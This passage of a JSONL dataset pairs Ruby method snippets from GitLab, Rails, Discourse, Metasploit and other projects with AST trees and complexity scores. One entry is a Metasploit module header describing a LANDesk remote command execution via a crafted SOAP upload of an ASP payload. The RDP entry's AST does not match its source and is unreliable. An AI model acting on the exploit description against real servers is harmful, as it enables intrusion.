",\"children\":[\"call\"]},{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"params\"]}]},{\"type\":\"sym\",\"children\":[\"[]\"]},{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"lit\"]},{\"type\":\"sym\",\"children\":[\"bad\"]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_input\"]},{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"call\"]},{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"params\"]}]},{\"type\":\"sym\",\"children\":[\"[]\"]},{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"lit\"]},{\"type\":\"sym\",\"children\":[\"bad\"]}]}]}]}]}]}]}","id":"dfa518a5-a5b6-47a8-ac66-984b864fff0d"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-ai/lib/ai_moderation/spam_scanner.rb","start_line":14,"raw_source":"def self.new_post(post)\n        return if !enabled?\n        return if !should_scan_post?(post)\n\n        flag_post_for_scanning(post)\n      end","complexity_score":7.4,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"new_post\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"post\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"enabled?\"]},\"!\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"should_scan_post?\",{\"type\":\"lvar\",\"children\":[\"post\"]}]},\"!\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[null,\"flag_post_for_scanning\",{\"type\":\"lvar\",\"children\":[\"post\"]}]}]}]}","id":"ca3837d0-0bda-4a6f-98e0-4711f2aaaa85"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/seeders/source/seed_data.rb","start_line":95,"raw_source":"def merge(other)\n    self.class.new(data.merge(other.data), registry.merge(other.registry))\n  end","complexity_score":10.2,"ast_json":"{\"type\":\"def\",\"children\":[\"merge\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"other\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"data\"]},\"merge\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"other\"]},\"data\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"registry\"]},\"merge\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"other\"]},\"registry\"]}]}]}]}","id":"57758beb-5023-4d31-b676-a4837c7f7591"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/lib/rbac/filterer.rb","start_line":939,"raw_source":"def matches_search_filters?(obj, filter, timezone, prune_sql: true)\n      filter.nil? || filter.evaluate(obj, timezone, :prune_sql => prune_sql)\n    end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"matches_search_filters?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"obj\"]},{\"type\":\"arg\",\"children\":[\"filter\"]},{\"type\":\"arg\",\"children\":[\"timezone\"]},{\"type\":\"kwoptarg\",\"children\":[\"prune_sql\",{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"filter\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"filter\"]},\"evaluate\",{\"type\":\"lvar\",\"children\":[\"obj\"]},{\"type\":\"lvar\",\"children\":[\"timezone\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"prune_sql\"]},{\"type\":\"lvar\",\"children\":[\"prune_sql\"]}]}]}]}]}]}","id":"e61c7567-85b3-4157-85a3-3ac32a6c155f"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/resource/clusters/agent_token.rb","start_line":21,"raw_source":"def api_get_path\n          \"/projects/#{agent.project.id}/cluster_agents/#{agent.id}/tokens/#{id}\"\n        end","complexity_score":6.8,"ast_json":"{\"type\":\"def\",\"children\":[\"api_get_path\",{\"type\":\"args\",\"children\":[]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"/projects/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"agent\"]},\"project\"]},\"id\"]}]},{\"type\":\"str\",\"children\":[\"/cluster_agents/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"agent\"]},\"id\"]}]},{\"type\":\"str\",\"children\":[\"/tokens/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"id\"]}]}]}]}","id":"17e362fb-8247-47bd-9bc6-f09f3979cdc0"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/lib/action_view/helpers/number_helper.rb","start_line":125,"raw_source":"def number_to_human(number, options = {})\n        delegate_number_helper_method(:number_to_human, number, options)\n      end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"number_to_human\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"number\"]},{\"type\":\"optarg\",\"children\":[\"options\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"delegate_number_helper_method\",{\"type\":\"sym\",\"children\":[\"number_to_human\"]},{\"type\":\"lvar\",\"children\":[\"number\"]},{\"type\":\"lvar\",\"children\":[\"options\"]}]}]}","id":"cf4d3d25-e782-4370-8249-ea2f23bafa41"}
{"repo_name":"rails","file_path":"./repos/rails/railties/test/generators/model_generator_test.rb","start_line":144,"raw_source":"def test_model_with_underscored_parent_option\n    run_generator [\"account\", \"--parent\", \"admin/account\"]\n    assert_file \"app/models/account.rb\", /class Account < Admin::Account/\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_model_with_underscored_parent_option\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"run_generator\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"account\"]},{\"type\":\"str\",\"children\":[\"--parent\"]},{\"type\":\"str\",\"children\":[\"admin/account\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_file\",{\"type\":\"str\",\"children\":[\"app/models/account.rb\"]},{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"class Account < Admin::Account\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]}]}","id":"735cf76f-6e2f-4da9-9be9-19f7dbfe20d0"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/concerns/triggerable_hooks.rb","start_line":50,"raw_source":"def triggerable_hooks(hooks)\n      triggers = available_triggers.slice(*hooks)\n      @triggers = triggers\n\n      triggers.each do |trigger, event|\n        scope trigger, -> { where(event => true) }\n      end\n    end","complexity_score":10.0,"ast_json":"{\"type\":\"def\",\"children\":[\"triggerable_hooks\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"hooks\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"triggers\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"available_triggers\"]},\"slice\",{\"type\":\"splat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hooks\"]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@triggers\",{\"type\":\"lvar\",\"children\":[\"triggers\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"triggers\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"trigger\"]},{\"type\":\"arg\",\"children\":[\"event\"]}]},{\"type\":\"send\",\"children\":[null,\"scope\",{\"type\":\"lvar\",\"children\":[\"trigger\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"lambda\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"lvar\",\"children\":[\"event\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]}]}]}]}","id":"2adf872e-a576-4d40-8bc0-036170d3a962"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/chat/spec/plugin_helper.rb","start_line":71,"raw_source":"def fake_chat_message\n    Faker::Alphanumeric.alpha(number: [15, SiteSetting.chat_minimum_message_length].max)\n  end","complexity_score":3.95,"ast_json":"{\"type\":\"def\",\"children\":[\"fake_chat_message\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Faker\"]},\"Alphanumeric\"]},\"alpha\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"number\"]},{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[15]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"chat_minimum_message_length\"]}]},\"max\"]}]}]}]}]}","id":"a7967fbd-a206-4238-be69-2214a14e2f49"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/tooling/danger/feature_flag.rb","start_line":70,"raw_source":"def group_match_mr_label?(mr_group_label)\n          mr_group_label == group\n        end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"group_match_mr_label?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"mr_group_label\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mr_group_label\"]},\"==\",{\"type\":\"send\",\"children\":[null,\"group\"]}]}]}","id":"0cecefa7-04a3-4e5b-ad0f-54ed6b7e1f51"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/api/helpers/packages/basic_auth_helpers.rb","start_line":17,"raw_source":"def authorized_user_project(action: :read_project)\n          strong_memoize(\"authorized_user_project_#{action}\") do\n            authorized_project_find!(action: action)\n          end\n        end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"authorized_user_project\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"action\",{\"type\":\"sym\",\"children\":[\"read_project\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"strong_memoize\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"authorized_user_project_\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"action\"]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"authorized_project_find!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"action\"]},{\"type\":\"lvar\",\"children\":[\"action\"]}]}]}]}]}]}","id":"fee8b0e1-638c-4e21-88ce-96a2c179255f"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/fastlane_core/lib/fastlane_core/project.rb","start_line":362,"raw_source":"def build_xcodebuild_showbuildsettings_command\n      # We also need to pass the workspace and scheme to this command.\n      #\n      # The 'clean' portion of this command was a workaround for an xcodebuild bug with Core Data projects.\n      # This xcodebuild bug is fixed in Xcode 8.3 so 'clean' it's not necessary anymore\n      # See: https://github.com/fastlane/fastlane/pull/5626\n      if FastlaneCore::Helper.xcode_at_least?('8.3')\n        command = \"xcodebuild -showBuildSettings #{xcodebuild_parameters.join(' ')}#{xcodebuild_destination_parameter}\"\n      else\n        command = \"xcodebuild clean -showBuildSettings #{xcodebuild_parameters.join(' ')}\"\n      end\n      command = \"#{command} 2>&1\" # xcodebuild produces errors on stderr #21672\n      command\n    end","complexity_score":11.1,"ast_json":"{\"type\":\"def\",\"children\":[\"build_xcodebuild_showbuildsettings_command\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FastlaneCore\"]},\"Helper\"]},\"xcode_at_least?\",{\"type\":\"str\",\"children\":[\"8.3\"]}]},{\"type\":\"lvasgn\",\"children\":[\"command\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"xcodebuild -showBuildSettings \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"xcodebuild_parameters\"]},\"join\",{\"type\":\"str\",\"children\":[\" \"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"xcodebuild_destination_parameter\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"command\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"xcodebuild clean -showBuildSettings \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"xcodebuild_parameters\"]},\"join\",{\"type\":\"str\",\"children\":[\" \"]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"command\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"command\"]}]},{\"type\":\"str\",\"children\":[\" 2>&1\"]}]}]},{\"type\":\"lvar\",\"children\":[\"command\"]}]}]}","id":"92c06b26-bfae-43cb-9f7e-c59a0f6a64d3"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/http/landesk_thinkmanagement_upload_asp.rb","start_line":12,"raw_source":"def initialize\n    super(\n      'Name' => 'LANDesk Lenovo ThinkManagement Console Remote Command Execution',\n      'Description' => %q{\n          This module can be used to execute a payload on LANDesk Lenovo\n        ThinkManagement Suite 9.0.2 and 9.0.3.\n\n        The payload is uploaded as an ASP script by sending a specially crafted\n        SOAP request to \"/landesk/managementsuite/core/core.anonymous/ServerSetup.asmx\"\n        , via a \"RunAMTCommand\" operation with the command '-PutUpdateFileCore'\n        as the argument.\n\n        After execution, the ASP script with the payload is deleted by sending\n        another specially crafted SOAP request to \"WSVulnerabilityCore/VulCore.asmx\"\n        via a \"SetTaskLogByFile\" operation.\n      },\n      'Author' => [\n        'Andrea Micalizzi', # aka rgod - Vulnerability Discovery and PoC\n        'juan vazquez' # Metasploit module\n      ],\n      'Platform' => 'win',\n      'References' => [\n        ['CVE', '2012-1195'],\n        ['CVE', '2012-1196'],\n        ['OSVDB', '79276'],\n        ['OSVDB', '79277'],\n        ['BID', '52023'],\n        ['EDB', '18622'],\n        ['EDB', '18623']\n      ],\n      'Targets' => [\n        [ 'LANDesk Lenovo ThinkManagement Suite 9.0.2 / 9.0.3 / Microsoft Windows Server 2003 SP2', {} ],\n      ],\n      'DefaultTarget' => 0,\n      'Privileged' => false,\n      'DisclosureDate' => 'Feb 15 2012'\n    )\n\n    register_options(\n      [\n        OptString.new('PATH', [ true, \"The URI path of the LANDesk Lenovo ThinkManagement Console\", '/'])\n      ]\n    )\n  end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"LANDesk Lenovo ThinkManagement Console Remote Command Execution\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module can be used to execute a payload on LANDesk Lenovo\\n\"]},{\"type\":\"str\",\"children\":[\"        ThinkManagement Suite 9.0.2 and 9.0.3.\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"        The payload is uploaded as an ASP script by sending a specially crafted\\n\"]},{\"type\":\"str\",\"children\":[\"        SOAP request to \\\"/landesk/managementsuite/core/core.anonymous/ServerSetup.asmx\\\"\\n\"]},{\"type\":\"str\",\"children\":[\"        , via a \\\"RunAMTCommand\\\" operation with the command '-PutUpdateFileCore'\\n\"]},{\"type\":\"str\",\"children\":[\"        as the argument.\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"        After execution, the ASP script with the payload is deleted by sending\\n\"]},{\"type\":\"str\",\"children\":[\"        another specially crafted SOAP request to \\\"WSVulnerabilityCore/VulCore.asmx\\\"\\n\"]},{\"type\":\"str\",\"children\":[\"        via a \\\"SetTaskLogByFile\\\" operation.\\n\"]},{\"type\":\"str\",\"children\":[\"      \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Andrea Micalizzi\"]},{\"type\":\"str\",\"children\":[\"juan vazquez\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"win\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2012-1195\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2012-1196\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"OSVDB\"]},{\"type\":\"str\",\"children\":[\"79276\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"OSVDB\"]},{\"type\":\"str\",\"children\":[\"79277\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"BID\"]},{\"type\":\"str\",\"children\":[\"52023\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"EDB\"]},{\"type\":\"str\",\"children\":[\"18622\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"EDB\"]},{\"type\":\"str\",\"children\":[\"18623\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Targets\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"LANDesk Lenovo ThinkManagement Suite 9.0.2 / 9.0.3 / Microsoft Windows Server 2003 SP2\"]},{\"type\":\"hash\",\"children\":[]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultTarget\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Privileged\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"Feb 15 2012\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"PATH\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The URI path of the LANDesk Lenovo ThinkManagement Console\"]},{\"type\":\"str\",\"children\":[\"/\"]}]}]}]}]}]}]}","id":"81459f30-1c50-4976-a8b3-5767fa3288fb"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/mixins/relationship_mixin.rb","start_line":126,"raw_source":"def parent_rels(*args)\n    options = args.extract_options!\n    pri = parent_rel_ids\n    rels = pri.kind_of?(Array) && pri.empty? ? Relationship.none : Relationship.where(:id => pri)\n    Relationship.filter_by_resource_type(rels, options)\n  end","complexity_score":12.4,"ast_json":"{\"type\":\"def\",\"children\":[\"parent_rels\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"args\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"options\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"extract_options!\"]}]},{\"type\":\"lvasgn\",\"children\":[\"pri\",{\"type\":\"send\",\"children\":[null,\"parent_rel_ids\"]}]},{\"type\":\"lvasgn\",\"children\":[\"rels\",{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pri\"]},\"kind_of?\",{\"type\":\"const\",\"children\":[null,\"Array\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pri\"]},\"empty?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Relationship\"]},\"none\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Relationship\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"lvar\",\"children\":[\"pri\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Relationship\"]},\"filter_by_resource_type\",{\"type\":\"lvar\",\"children\":[\"rels\"]},{\"type\":\"lvar\",\"children\":[\"options\"]}]}]}]}","id":"c756c711-4c97-4899-b652-aa713cb6deee"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/graphql/extensions/forward_only_externally_paginated_array_extension.rb","start_line":9,"raw_source":"def apply\n          field.argument :after, GraphQL::Types::String,\n            description: \"Returns the elements in the list that come after the specified cursor.\",\n            required: false\n          field.argument :first, GraphQL::Types::Int,\n            description: \"Returns the first _n_ elements from the list.\",\n            required: false\n        end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"apply\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"field\"]},\"argument\",{\"type\":\"sym\",\"children\":[\"after\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"GraphQL\"]},\"Types\"]},\"String\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"str\",\"children\":[\"Returns the elements in the list that come after the specified cursor.\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"required\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"field\"]},\"argument\",{\"type\":\"sym\",\"children\":[\"first\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"GraphQL\"]},\"Types\"]},\"Int\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"str\",\"children\":[\"Returns the first _n_ elements from the list.\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"required\"]},{\"type\":\"false\",\"children\":[]}]}]}]}]}]}","id":"2293b6d0-d9aa-4e9c-9064-76c5eb3d7250"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/exploit/remote/rdp.rb","start_line":991,"raw_source":"def build_share_control_header(type, data)\n    total_len = data.length + 6\n\n    [total_len].pack(\"S<\") + # totalLength - includes all headers\n      [type].pack(\"S<\") +    # pduType - flags 16 bit, unsigned\n      \"\\xf1\\x03\" +           # PDUSource: 0x03f1 = 1009\n      data\n  end","complexity_score":10.3,"ast_json":"{\"type\":\"def\",\"children\":[\"build_share_control_header\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"type\"]},{\"type\":\"arg\",\"children\":[\"data\"]}]},{\"type\":\"lvar\",\"children\":[\"data\"]}]}","id":"0a0beb28-9be9-42e3-84df-1c10b49416a9"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/lib/admin/metrics/dimension/base_dimension.rb","start_line":65,"raw_source":"def canonicalized_params\n    params.to_h.to_a.sort_by { |k, _v| k.to_s }.map { |k, v| \"#{k}=#{v}\" }.join(';')\n  end","complexity_score":13.1,"ast_json":"{\"type\":\"def\",\"children\":[\"canonicalized_params\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"to_h\"]},\"to_a\"]},\"sort_by\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"k\"]},{\"type\":\"arg\",\"children\":[\"_v\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"k\"]},\"to_s\"]}]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"k\"]},{\"type\":\"arg\",\"children\":[\"v\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"k\"]}]},{\"type\":\"str\",\"children\":[\"=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"v\"]}]}]}]},\"join\",{\"type\":\"str\",\"children\":[\";\"]}]}]}","id":"c7dee175-2f83-4d17-b29a-fed46d78669a"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/project_authorizations.rb","start_line":63,"raw_source":"def join_members_on_namespaces\n      members = Member.arel_table\n      namespaces = Namespace.arel_table\n\n      cond = members[:source_id]\n        .eq(namespaces[:id])\n        .and(members[:source_type].eq('Namespace'))\n        .and(members[:requested_at].eq(nil))\n        .and(members[:user_id].eq(user.id))\n        .and(members[:state].eq(::Member::STATE_ACTIVE))\n        .and(members[:access_level].gt(Gitlab::Access::MINIMAL_ACCESS))\n\n      Arel::Nodes::OuterJoin.new(members, Arel::Nodes::On.new(cond))\n    end","complexity_score":41.4,"ast_json":"{\"type\":\"def\",\"children\":[\"join_members_on_namespaces\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"members\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Member\"]},\"arel_table\"]}]},{\"type\":\"lvasgn\",\"children\":[\"namespaces\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Namespace\"]},\"arel_table\"]}]},{\"type\":\"lvasgn\",\"children\":[\"cond\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"members\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"source_id\"]}]},\"eq\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"namespaces\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"id\"]}]}]},\"and\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"members\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"source_type\"]}]},\"eq\",{\"type\":\"str\",\"children\":[\"Namespace\"]}]}]},\"and\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"members\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"requested_at\"]}]},\"eq\",{\"type\":\"nil\",\"children\":[]}]}]},\"and\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"members\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"user_id\"]}]},\"eq\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user\"]},\"id\"]}]}]},\"and\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"members\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"state\"]}]},\"eq\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Member\"]},\"STATE_ACTIVE\"]}]}]},\"and\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"members\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"access_level\"]}]},\"gt\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Access\"]},\"MINIMAL_ACCESS\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\